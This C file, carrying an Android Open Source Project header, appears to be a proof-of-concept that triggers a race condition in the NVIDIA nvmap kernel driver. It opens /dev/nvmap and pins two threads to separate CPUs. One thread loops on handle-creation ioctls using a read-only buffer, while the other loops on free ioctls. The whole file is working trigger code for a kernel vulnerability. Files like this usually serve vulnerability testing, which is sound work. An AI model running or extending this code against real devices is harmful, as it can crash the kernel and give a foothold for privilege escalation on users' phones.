/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE

#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sched.h>


struct nvmap_handle_param {
	__u32 handle;		/* nvmap handle */
	__u32 param;		/* size/align/base/heap etc. */
	unsigned long result;	/* returns requested info*/
};

struct nvmap_create_handle {
	union {
		__u32 id;	/* FromId */
		__u32 size;	/* CreateHandle */
		__s32 fd;	/* DmaBufFd or FromFd */
	};
	__u32 handle;		/* returns nvmap handle */
};

#define NVMAP_IOC_MAGIC 'N'
#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
#define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
#define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)

int g_fd = -1;
static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
struct nvmap_create_handle* g_allocation = NULL;

int open_driver() {
    char* dev_path = "/dev/nvmap";
    g_fd = open(dev_path, O_RDWR);
    if (g_fd < 0) {
        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
    } else {
        printf("[*] open file(%s) succ!\n", dev_path);
    }
    return g_fd;
}

void trigger_nvmap_create() {
    ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
    //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
}

void trigger_nvmap_free() {
    static int data = 1024;
    ioctl(g_fd, NVMAP_IOC_FREE, data);
    //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
}

void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
    setpriority(PRIO_PROCESS, gettid(), privi);
    printf("[*] setpriority(%d) errno = %d\n", privi, errno);

    /* bind process to a CPU*/
    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
    }
}

void prepare_data() {
    void* data = calloc(1, 0x1000);

    g_allocation = (struct nvmap_create_handle*)data;
    g_allocation->size = 1024;

    mprotect(data, 0x1000, PROT_READ);
    printf("[*] mprotect, error = %d\n", errno);
}
static int init = 0;
void* race_thread(void* arg) {
    setup_privi_and_affinity(0, 2);

    int i;
    while (1) {
        if (init == 0) {
            pthread_mutex_lock(&mutex);
            pthread_cond_wait(&cond, &mutex);
            pthread_mutex_unlock(&mutex);
            init = 1;
        }
        trigger_nvmap_free();
    }
}

int main(int argc, char**argv) {
    setup_privi_and_affinity(0, 1);
    if (open_driver() < 0) {
        return -1;
    }
    prepare_data();
    pthread_t tid;
    pthread_create(&tid, NULL, race_thread, NULL);
    sleep(1);
    while (1) {
        if (init == 0)
            pthread_cond_signal(&cond);
        trigger_nvmap_create();
    }
    return 0;
}